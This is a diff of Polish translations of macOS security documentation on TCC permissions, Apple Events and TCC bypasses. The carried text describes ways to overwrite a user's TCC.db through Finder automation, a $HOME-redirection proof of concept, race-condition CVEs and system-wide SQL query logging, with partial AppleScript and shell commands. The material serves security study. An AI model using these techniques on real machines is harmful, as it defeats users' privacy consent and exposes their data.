Pamiętaj, że te zrzuty są automatycznie zarządzane przez macOS i nie zajmują dodatkowego miejsca na twoim dysku, dzięki możliwościom współdzielenia przestrzeni APFS. Ważne jest również, aby zauważyć, że te zrzuty różnią się od **zrzutów Time Machine**, które są kopią zapasową całego systemu dostępną dla użytkownika.
|
||||
|
||||
@ -244,7 +244,7 @@ W poprzednim wyjściu można zobaczyć, że **lokacje dostępne dla użytkownika
|
||||
|
||||
Ponadto, **zrzut wolumenu systemowego macOS** jest zamontowany w `/` i jest **zatwierdzony** (podpisany kryptograficznie przez system operacyjny). Tak więc, jeśli SIP zostanie ominięty i zmodyfikowany, **system operacyjny nie uruchomi się więcej**.
|
||||
|
||||
Można również **zweryfikować, że pieczęć jest włączona**, uruchamiając:
|
||||
Możliwe jest również **zweryfikowanie, że pieczęć jest włączona**, uruchamiając:
|
||||
```bash
|
||||
csrutil authenticated-root status
|
||||
Authenticated Root status: enabled
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**TCC (Transparentność, Zgoda i Kontrola)** to protokół bezpieczeństwa koncentrujący się na regulowaniu uprawnień aplikacji. Jego główną rolą jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do pełnego dysku**. Poprzez wymóg wyraźnej zgody użytkownika przed przyznaniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad swoimi danymi.
|
||||
**TCC (Transparentność, Zgoda i Kontrola)** to protokół bezpieczeństwa koncentrujący się na regulowaniu uprawnień aplikacji. Jego główną rolą jest ochrona wrażliwych funkcji, takich jak **usługi lokalizacji, kontakty, zdjęcia, mikrofon, kamera, dostęp do funkcji ułatwień dostępu oraz pełny dostęp do dysku**. Wymuszając wyraźną zgodę użytkownika przed przyznaniem aplikacji dostępu do tych elementów, TCC zwiększa prywatność i kontrolę użytkownika nad swoimi danymi.
|
||||
|
||||
Użytkownicy napotykają TCC, gdy aplikacje żądają dostępu do chronionych funkcji. Jest to widoczne poprzez monit, który pozwala użytkownikom **zatwierdzić lub odmówić dostępu**. Ponadto TCC umożliwia bezpośrednie działania użytkownika, takie jak **przeciąganie i upuszczanie plików do aplikacji**, aby przyznać dostęp do konkretnych plików, zapewniając, że aplikacje mają dostęp tylko do tego, co jest wyraźnie dozwolone.
|
||||
|
||||
@ -27,14 +27,14 @@ Uprawnienia są **dziedziczone z aplikacji nadrzędnej** a **uprawnienia** są *
|
||||
Zezwolenia/odmowy są następnie przechowywane w niektórych bazach danych TCC:
|
||||
|
||||
- Baza danych systemowa w **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Ta baza danych jest **chroniona przez SIP**, więc tylko obejście SIP może do niej zapisać.
|
||||
- Baza danych TCC użytkownika **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji per użytkownik.
|
||||
- Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą do niej zapisać (ale nie jest chroniona przez SIP).
|
||||
- Ta baza danych jest **chroniona przez SIP**, więc tylko obejście SIP może w nią zapisać.
|
||||
- Użytkownikowa baza danych TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** dla preferencji per użytkownik.
|
||||
- Ta baza danych jest chroniona, więc tylko procesy z wysokimi uprawnieniami TCC, takie jak Pełny dostęp do dysku, mogą w nią zapisać (ale nie jest chroniona przez SIP).
|
||||
|
||||
> [!WARNING]
|
||||
> Wcześniejsze bazy danych są również **chronione przez TCC dla dostępu do odczytu**. Więc **nie będziesz w stanie odczytać** swojej regularnej bazy danych TCC użytkownika, chyba że pochodzi z procesu z uprawnieniami TCC.
|
||||
> Poprzednie bazy danych są również **chronione przez TCC dla dostępu do odczytu**. Więc **nie będziesz w stanie odczytać** swojej regularnej bazy danych TCC użytkownika, chyba że pochodzi z procesu z uprawnieniami TCC.
|
||||
>
|
||||
> Jednak pamiętaj, że proces z tymi wysokimi uprawnieniami (jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będzie mógł zapisać bazę danych TCC użytkowników.
|
||||
> Jednak pamiętaj, że proces z tymi wysokimi uprawnieniami (jak **FDA** lub **`kTCCServiceEndpointSecurityClient`**) będzie mógł zapisać do bazy danych TCC użytkowników.
|
||||
|
||||
- Istnieje **trzecia** baza danych TCC w **`/var/db/locationd/clients.plist`**, aby wskazać klientów, którym zezwolono na **dostęp do usług lokalizacyjnych**.
|
||||
- Plik chroniony przez SIP **`/Users/carlospolop/Downloads/REG.db`** (również chroniony przed dostępem do odczytu z TCC) zawiera **lokację** wszystkich **ważnych baz danych TCC**.
|
||||
@ -45,7 +45,7 @@ Zezwolenia/odmowy są następnie przechowywane w niektórych bazach danych TCC:
|
||||
> Baza danych TCC w **iOS** znajduje się w **`/private/var/mobile/Library/TCC/TCC.db`**.
|
||||
|
||||
> [!NOTE]
|
||||
> **Interfejs użytkownika centrum powiadomień** może wprowadzać **zmiany w systemowej bazie danych TCC**:
|
||||
> **Interfejs centrum powiadomień** może wprowadzać **zmiany w systemowej bazie danych TCC**:
|
||||
>
|
||||
> ```bash
|
||||
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
|
||||
@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
{{#endtabs}}
|
||||
|
||||
> [!TIP]
|
||||
> Sprawdzając obie bazy danych, możesz sprawdzić, jakie uprawnienia aplikacja przyznała, zabroniła lub ich nie ma (zostanie o to poproszona).
|
||||
> Sprawdzając obie bazy danych, możesz sprawdzić, jakie uprawnienia aplikacja przyznała, zabroniła lub ich nie ma (poprosi o nie).
|
||||
|
||||
- **`service`** to reprezentacja ciągu uprawnień TCC
|
||||
- **`client`** to **ID pakietu** lub **ścieżka do binarnego** z uprawnieniami
|
||||
@ -153,7 +153,7 @@ Po prostu wykonaj **`launctl load you_bin.plist`**, z plistą taką jak:
|
||||
|
||||
- **`auth_value`** może mieć różne wartości: denied(0), unknown(1), allowed(2) lub limited(3).
|
||||
- **`auth_reason`** może przyjmować następujące wartości: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
- Pole **csreq** jest używane do wskazania, jak zweryfikować binarny plik do wykonania i przyznania uprawnień TCC:
|
||||
- Pole **csreq** służy do wskazania, jak zweryfikować binarny plik do wykonania i przyznania uprawnień TCC:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -176,7 +176,7 @@ Możesz również sprawdzić **już przyznane uprawnienia** dla aplikacji w `Sys
|
||||
> [!TIP]
|
||||
> Użytkownicy _mogą_ **usuwać lub zapytywać zasady** za pomocą **`tccutil`**.
|
||||
|
||||
#### Resetowanie uprawnień TCC
|
||||
#### Zresetuj uprawnienia TCC
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Dlatego inne aplikacje używające tej samej nazwy i identyfikatora pakietu nie będą mogły uzyskać dostępu do przyznanych uprawnień nadanych innym aplikacjom.
|
||||
> Dlatego inne aplikacje używające tej samej nazwy i identyfikatora pakietu nie będą mogły uzyskać dostępu do przyznanych uprawnień dla innych aplikacji.
|
||||
|
||||
### Uprawnienia i uprawnienia TCC
|
||||
|
||||
Aplikacje **nie tylko muszą** **wnioskować** i **otrzymać dostęp** do niektórych zasobów, ale także muszą **mieć odpowiednie uprawnienia**.\
|
||||
Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera`, aby wnioskować o **dostęp do kamery**. Aplikacja, która **nie ma** tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (a użytkownik nie zostanie nawet poproszony o przyznanie uprawnień).
|
||||
Aplikacje **nie tylko muszą** **żądać** i **otrzymać dostęp** do niektórych zasobów, ale także muszą **mieć odpowiednie uprawnienia**.\
|
||||
Na przykład **Telegram** ma uprawnienie `com.apple.security.device.camera`, aby żądać **dostępu do kamery**. Aplikacja, która **nie ma** tego **uprawnienia, nie będzie mogła** uzyskać dostępu do kamery (a użytkownik nie zostanie nawet poproszony o przyznanie uprawnień).
|
||||
|
||||
Jednak aby aplikacje mogły **uzyskać dostęp** do **niektórych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, **nie muszą** mieć żadnych specyficznych **uprawnień.** System automatycznie obsłuży dostęp i **poprosi użytkownika** w razie potrzeby.
|
||||
Jednakże, aby aplikacje mogły **uzyskać dostęp** do **niektórych folderów użytkownika**, takich jak `~/Desktop`, `~/Downloads` i `~/Documents`, **nie muszą** mieć żadnych specyficznych **uprawnień.** System przejrzysto obsłuży dostęp i **poprosi użytkownika** w razie potrzeby.
|
||||
|
||||
Aplikacje Apple **nie będą generować powiadomień**. Zawierają **wcześniej przyznane prawa** w swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okna pop-up**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
|
||||
Aplikacje Apple **nie będą generować powiadomień**. Zawierają **wcześniej przyznane prawa** w swojej liście **uprawnień**, co oznacza, że **nigdy nie wygenerują okna dialogowego**, **ani** nie pojawią się w żadnej z **baz danych TCC.** Na przykład:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
@ -234,7 +234,7 @@ Niektóre uprawnienia TCC to: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCS
|
||||
|
||||
### Intencje użytkownika / com.apple.macl
|
||||
|
||||
Jak wspomniano wcześniej, możliwe jest **przyznanie dostępu aplikacji do pliku poprzez przeciągnięcie i upuszczenie go na nią**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut **przechowa UUID** dozwolonej aplikacji:
|
||||
Jak wspomniano wcześniej, możliwe jest **przyznanie dostępu aplikacji do pliku poprzez przeciągnięcie i upuszczenie go na nią**. Ten dostęp nie będzie określony w żadnej bazie danych TCC, ale jako **rozszerzony** **atrybut pliku**. Ten atrybut będzie **przechowywał UUID** dozwolonej aplikacji:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
@ -252,7 +252,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
> [!NOTE]
|
||||
> Ciekawe, że atrybut **`com.apple.macl`** jest zarządzany przez **Sandbox**, a nie przez tccd.
|
||||
>
|
||||
> Zauważ również, że jeśli przeniesiesz plik, który pozwala na UUID aplikacji na swoim komputerze do innego komputera, ponieważ ta sama aplikacja będzie miała różne UID-y, nie przyzna dostępu do tej aplikacji.
|
||||
> Zauważ również, że jeśli przeniesiesz plik, który pozwala na UUID aplikacji na swoim komputerze do innego komputera, ponieważ ta sama aplikacja będzie miała różne UIDs, nie przyzna dostępu do tej aplikacji.
|
||||
|
||||
Rozszerzony atrybut `com.apple.macl` **nie może być usunięty** jak inne rozszerzone atrybuty, ponieważ jest **chroniony przez SIP**. Jednak, jak [**wyjaśniono w tym poście**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), możliwe jest jego wyłączenie **zipując** plik, **usuwając** go i **rozpakowując** go.
|
||||
|
||||
@ -324,7 +324,7 @@ macos-apple-events.md
|
||||
|
||||
### Automatyzacja (Finder) do FDA\*
|
||||
|
||||
Nazwa TCC dla uprawnienia Automatyzacji to: **`kTCCServiceAppleEvents`**\
|
||||
Nazwa uprawnienia Automatyzacji w TCC to: **`kTCCServiceAppleEvents`**\
|
||||
To konkretne uprawnienie TCC wskazuje również **aplikację, która może być zarządzana** w bazie danych TCC (więc uprawnienia nie pozwalają tylko na zarządzanie wszystkim).
|
||||
|
||||
**Finder** to aplikacja, która **zawsze ma FDA** (nawet jeśli nie pojawia się w interfejsie użytkownika), więc jeśli masz **uprawnienia Automatyzacji** nad nią, możesz wykorzystać jej uprawnienia, aby **wykonać pewne akcje**.\
|
||||
@ -444,9 +444,9 @@ rm "$HOME/Desktop/file"
|
||||
```
|
||||
### Automatyzacja (SE) + Dostępność (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
|
||||
|
||||
Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Findera, aby zmienić TCC.db użytkownika lub przyznać FDA dowolnej aplikacji (chociaż może być wymagane hasło).
|
||||
Automatyzacja na **`System Events`** + Dostępność (**`kTCCServicePostEvent`**) pozwala na wysyłanie **naciśnięć klawiszy do procesów**. W ten sposób można nadużyć Findera, aby zmienić TCC.db użytkowników lub przyznać FDA dowolnej aplikacji (chociaż może być wymagane hasło).
|
||||
|
||||
Przykład nadpisywania TCC.db użytkownika przez Findera:
|
||||
Przykład nadpisywania TCC.db użytkowników przez Findera:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
@ -494,7 +494,7 @@ EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility` do FDA\*
|
||||
|
||||
Sprawdź tę stronę po niektóre [**ładunki do nadużywania uprawnień Dostępności**](macos-tcc-payloads.md#accessibility) do privesc do FDA\* lub uruchomienia keyloggera na przykład.
|
||||
Sprawdź tę stronę, aby uzyskać kilka [**ładunków do nadużycia uprawnień Dostępności**](macos-tcc-payloads.md#accessibility) do privesc do FDA\* lub uruchomić keylogger na przykład.
|
||||
|
||||
### **Klient Bezpieczeństwa Endpoint do FDA**
|
||||
|
||||
@ -506,9 +506,9 @@ Jeśli masz **`kTCCServiceEndpointSecurityClient`**, masz FDA. Koniec.
|
||||
|
||||
### Baza Danych TCC Użytkownika do FDA
|
||||
|
||||
Uzyskując **uprawnienia do zapisu** w **bazie danych TCC** użytkownika, \*\*nie\*\* możesz przyznać sobie **`FDA`** uprawnienia, tylko ten, który znajduje się w bazie danych systemowej, może to przyznać.
|
||||
Uzyskując **uprawnienia do zapisu** w **bazie danych TCC użytkownika**, nie możesz przyznać sobie **`FDA`** uprawnień, tylko ten, który znajduje się w bazie danych systemowej, może to przyznać.
|
||||
|
||||
Ale możesz **przyznać** sobie **`Prawa Automatyzacji do Findera`**, i nadużyć poprzedniej techniki, aby eskalować do FDA\*.
|
||||
Ale możesz **przyznać** sobie **`Prawa Automatyzacji do Findera`** i nadużyć poprzedniej techniki, aby uzyskać dostęp do FDA\*.
|
||||
|
||||
### **FDA do uprawnień TCC**
|
||||
|
||||
@ -518,10 +518,10 @@ Nie sądzę, że to jest prawdziwe privesc, ale na wszelki wypadek, jeśli uznas
|
||||
|
||||
### **Obejście SIP do Obejścia TCC**
|
||||
|
||||
Baza danych **TCC** systemu jest chroniona przez **SIP**, dlatego tylko procesy z **wskazanymi uprawnieniami będą mogły ją modyfikować**. Dlatego, jeśli atakujący znajdzie **obejście SIP** nad **plikem** (będzie mógł modyfikować plik ograniczony przez SIP), będzie mógł:
|
||||
Baza danych **TCC systemu** jest chroniona przez **SIP**, dlatego tylko procesy z **wskazanymi uprawnieniami będą mogły ją modyfikować**. Dlatego, jeśli atakujący znajdzie **obejście SIP** nad **plikem** (będzie mógł modyfikować plik ograniczony przez SIP), będzie mógł:
|
||||
|
||||
- **Usunąć ochronę** bazy danych TCC i przyznać sobie wszystkie uprawnienia TCC. Może nadużyć dowolnego z tych plików na przykład:
|
||||
- Baza danych systemów TCC
|
||||
- **Usunąć ochronę** bazy danych TCC i przyznać sobie wszystkie uprawnienia TCC. Może nadużyć dowolnego z tych plików, na przykład:
|
||||
- Baza danych systemowa TCC
|
||||
- REG.db
|
||||
- MDMOverrides.plist
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Apple Events** to funkcja w macOS firmy Apple, która umożliwia aplikacjom komunikację ze sobą. Są częścią **Apple Event Manager**, który jest komponentem systemu operacyjnego macOS odpowiedzialnym za obsługę komunikacji międzyprocesowej. Ten system umożliwia jednej aplikacji wysłanie wiadomości do innej aplikacji w celu zażądania wykonania określonej operacji, takiej jak otwarcie pliku, pobranie danych lub wykonanie polecenia.
|
||||
**Apple Events** to funkcja w macOS firmy Apple, która umożliwia aplikacjom komunikację ze sobą. Są częścią **Apple Event Manager**, który jest komponentem systemu operacyjnego macOS odpowiedzialnym za obsługę komunikacji międzyprocesowej. System ten umożliwia jednej aplikacji wysłanie wiadomości do innej aplikacji w celu zażądania wykonania określonej operacji, takiej jak otwieranie pliku, pobieranie danych lub wykonywanie polecenia.
|
||||
|
||||
Demon mina to `/System/Library/CoreServices/appleeventsd`, który rejestruje usługę `com.apple.coreservices.appleevents`.
|
||||
|
||||
@ -13,7 +13,7 @@ Każda aplikacja, która może odbierać zdarzenia, będzie sprawdzać z tym dem
|
||||
Aplikacje w piaskownicy wymagają uprawnień, takich jak `allow appleevent-send` i `(allow mach-lookup (global-name "com.apple.coreservices.appleevents))`, aby mogły wysyłać zdarzenia. Należy zauważyć, że uprawnienia takie jak `com.apple.security.temporary-exception.apple-events` mogą ograniczać dostęp do wysyłania zdarzeń, co będzie wymagało uprawnień takich jak `com.apple.private.appleevents`.
|
||||
|
||||
> [!TIP]
|
||||
> Możliwe jest użycie zmiennej środowiskowej **`AEDebugSends`** w celu rejestrowania informacji o wysłanej wiadomości:
|
||||
> Możliwe jest użycie zmiennej env **`AEDebugSends`** w celu rejestrowania informacji o wysłanej wiadomości:
|
||||
>
|
||||
> ```bash
|
||||
> AEDebugSends=1 osascript -e 'tell application "iTerm" to activate'
|
||||
|
@ -26,8 +26,8 @@ Możliwe jest **umieszczenie okna nad monitorem TCC**, aby użytkownik **zaakcep
|
||||
|
||||
### Żądanie TCC przez dowolną nazwę
|
||||
|
||||
Napastnik może **tworzyć aplikacje z dowolną nazwą** (np. Finder, Google Chrome...) w **`Info.plist`** i sprawić, że będzie żądać dostępu do chronionej lokalizacji TCC. Użytkownik pomyśli, że to legalna aplikacja żąda tego dostępu.\
|
||||
Co więcej, możliwe jest **usunięcie legalnej aplikacji z Docka i umieszczenie na nim fałszywej**, więc gdy użytkownik kliknie na fałszywą (która może używać tego samego ikony), może wywołać legalną, poprosić o uprawnienia TCC i uruchomić złośliwe oprogramowanie, sprawiając, że użytkownik uwierzy, że to legalna aplikacja żądała dostępu.
|
||||
Napastnik może **tworzyć aplikacje o dowolnej nazwie** (np. Finder, Google Chrome...) w **`Info.plist`** i sprawić, że będzie żądać dostępu do chronionej lokalizacji TCC. Użytkownik pomyśli, że to legalna aplikacja żąda tego dostępu.\
|
||||
Co więcej, możliwe jest **usunięcie legalnej aplikacji z Docka i umieszczenie na nim fałszywej**, więc gdy użytkownik kliknie na fałszywą (która może używać tego samego ikony), może wywołać legalną, poprosić o uprawnienia TCC i uruchomić złośliwe oprogramowanie, sprawiając, że użytkownik uwierzy, że legalna aplikacja żądała dostępu.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -62,7 +62,7 @@ Uprawnienie **`com.apple.private.icloud-account-access`** umożliwia komunikacj
|
||||
|
||||
**iMovie** i **Garageband** miały to uprawnienie i inne, które to umożliwiały.
|
||||
|
||||
Aby uzyskać więcej **informacji** na temat exploita do **uzyskania tokenów iCloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje na iCloud Apple'a?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
Aby uzyskać więcej **informacji** na temat eksploitu w celu **uzyskania tokenów iCloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje na iCloud Apple'a?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automatyzacja
|
||||
|
||||
@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
Demon **tccd** w przestrzeni użytkownika używał zmiennej **`HOME`** **env** do uzyskania dostępu do bazy danych użytkowników TCC z: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
Zgodnie z [tym postem na Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i ponieważ demon TCC działa za pośrednictwem `launchd` w obrębie domeny bieżącego użytkownika, możliwe jest **kontrolowanie wszystkich zmiennych środowiskowych** przekazywanych do niego.\
|
||||
W ten sposób **atakujący mógłby ustawić zmienną środowiskową `$HOME`** w **`launchctl`**, aby wskazywała na **kontrolowany** **katalog**, **zrestartować** **demon TCC** i następnie **bezpośrednio zmodyfikować bazę danych TCC**, aby nadać sobie **wszystkie dostępne uprawnienia TCC** bez wywoływania jakiegokolwiek komunikatu dla użytkownika końcowego.\
|
||||
W ten sposób **atakujący mógłby ustawić zmienną środowiskową `$HOME`** w **`launchctl`**, aby wskazywała na **kontrolowany** **katalog**, **zrestartować** **demon TCC** i następnie **bezpośrednio zmodyfikować bazę danych TCC**, aby nadać sobie **wszystkie dostępne uprawnienia TCC** bez wywoływania monitów dla użytkownika końcowego.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
@ -153,39 +153,39 @@ Notatki miały dostęp do lokalizacji chronionych przez TCC, ale gdy notatka jes
|
||||
|
||||
Binarne `/usr/libexec/lsd` z biblioteką `libsecurity_translocate` miało uprawnienie `com.apple.private.nullfs_allow`, co pozwalało na utworzenie **nullfs** montażu i miało uprawnienie `com.apple.private.tcc.allow` z **`kTCCServiceSystemPolicyAllFiles`**, aby uzyskać dostęp do każdego pliku.
|
||||
|
||||
Można było dodać atrybut kwarantanny do "Biblioteki", wywołać usługę XPC **`com.apple.security.translocation`** i wtedy mapowałoby Bibliotekę na **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie wszystkie dokumenty w Bibliotece mogły być **dostępne**.
|
||||
Można było dodać atrybut kwarantanny do "Library", wywołać usługę XPC **`com.apple.security.translocation`** i wtedy mapowałoby to Library na **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie wszystkie dokumenty w Library mogły być **dostępne**.
|
||||
|
||||
### CVE-2023-38571 - Muzyka i TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Muzyka`** ma interesującą funkcję: Gdy jest uruchomiona, **importuje** pliki wrzucone do **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** do "biblioteki multimedialnej" użytkownika. Ponadto wywołuje coś takiego jak: **`rename(a, b);`**, gdzie `a` i `b` to:
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
|
||||
|
||||
To **`rename(a, b);`** zachowanie jest podatne na **Race Condition**, ponieważ możliwe jest umieszczenie w folderze `Automatically Add to Music.localized` fałszywego pliku **TCC.db**, a następnie, gdy nowy folder (b) jest tworzony, skopiowanie pliku, usunięcie go i skierowanie go do **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Jeśli **`SQLITE_SQLLOG_DIR="path/folder"`**, oznacza to zasadniczo, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tym CVE kontrola ta została nadużyta do **zapisu** wewnątrz **bazy danych SQLite**, która ma być **otwarta przez proces z FDA bazą danych TCC**, a następnie nadużycie **`SQLITE_SQLLOG_DIR`** z **symlinkiem w nazwie pliku**, aby gdy ta baza danych jest **otwarta**, użytkownik **TCC.db jest nadpisywany** otwartą.\
|
||||
Jeśli **`SQLITE_SQLLOG_DIR="path/folder"`**, oznacza to zasadniczo, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tym CVE kontrola ta została nadużyta do **zapisu** wewnątrz **bazy danych SQLite**, która ma być **otwarta przez proces z FDA bazą danych TCC**, a następnie nadużycie **`SQLITE_SQLLOG_DIR`** z **symlinkiem w nazwie pliku**, tak że gdy ta baza danych jest **otwarta**, użytkownik **TCC.db jest nadpisywany** otwartą.\
|
||||
**Więcej informacji** [**w opisie**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i**[ **w prezentacji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **rejestrować** wszystkie zapytania SQL. Wiele aplikacji korzystało z tej biblioteki, więc możliwe było rejestrowanie wszystkich ich zapytań SQLite.
|
||||
Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **rejestrować** wszystkie zapytania SQL. Wiele aplikacji używało tej biblioteki, więc możliwe było rejestrowanie wszystkich ich zapytań SQLite.
|
||||
|
||||
Kilka aplikacji Apple korzystało z tej biblioteki, aby uzyskać dostęp do informacji chronionych przez TCC.
|
||||
Kilka aplikacji Apple używało tej biblioteki do uzyskiwania dostępu do informacji chronionych przez TCC.
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
Ta **zmienna środowiskowa jest używana przez framework `Metal`**, który jest zależnością dla różnych programów, w szczególności `Music`, który ma FDA.
|
||||
Ta **zmienna env jest używana przez framework `Metal`**, który jest zależnością dla różnych programów, w szczególności `Music`, który ma FDA.
|
||||
|
||||
Ustawiając następujące: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Jeśli `path` jest ważnym katalogiem, błąd zostanie wywołany i możemy użyć `fs_usage`, aby zobaczyć, co się dzieje w programie:
|
||||
|
||||
- plik zostanie `open()`ed, nazwany `path/.dat.nosyncXXXX.XXXXXX` (X jest losowy)
|
||||
- jeden lub więcej `write()` zapisze zawartość do pliku (nie kontrolujemy tego)
|
||||
- plik zostanie `open()`ed, nazwany `path/.dat.nosyncXXXX.XXXXXX` (X jest losowe)
|
||||
- jedno lub więcej `write()` zapisze zawartość do pliku (nie kontrolujemy tego)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` zostanie `renamed()`d na `path/name`
|
||||
|
||||
To jest tymczasowe zapisanie pliku, po którym następuje **`rename(old, new)`**, **co nie jest bezpieczne.**
|
||||
@ -193,7 +193,7 @@ To jest tymczasowe zapisanie pliku, po którym następuje **`rename(old, new)`**
|
||||
Nie jest to bezpieczne, ponieważ musi **rozwiązać stare i nowe ścieżki osobno**, co może zająć trochę czasu i może być podatne na warunki wyścigu. Więcej informacji można znaleźć w funkcji `xnu` `renameat_internal()`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Więc, zasadniczo, jeśli proces z uprawnieniami zmienia nazwę z folderu, który kontrolujesz, możesz uzyskać RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik utworzony przez aplikację z uprawnieniami i przechować FD.
|
||||
> Więc, zasadniczo, jeśli proces z uprawnieniami zmienia nazwę z folderu, który kontrolujesz, możesz uzyskać RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik, który utworzył aplikacja z uprawnieniami i przechować FD.
|
||||
>
|
||||
> Jeśli zmiana nazwy uzyskuje dostęp do folderu, który kontrolujesz, podczas gdy zmodyfikowałeś plik źródłowy lub masz do niego FD, zmieniasz plik docelowy (lub folder), aby wskazywał na symlink, więc możesz pisać, kiedy chcesz.
|
||||
|
||||
@ -202,8 +202,8 @@ To był atak w tym CVE: Na przykład, aby nadpisać `TCC.db` użytkownika, może
|
||||
- utworzyć `/Users/hacker/ourlink`, aby wskazywał na `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
- utworzyć katalog `/Users/hacker/tmp/`
|
||||
- ustawić `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
- wywołać błąd, uruchamiając `Music` z tą zmienną środowiskową
|
||||
- przechwycić `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X jest losowy)
|
||||
- wywołać błąd, uruchamiając `Music` z tą zmienną env
|
||||
- przechwycić `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X jest losowe)
|
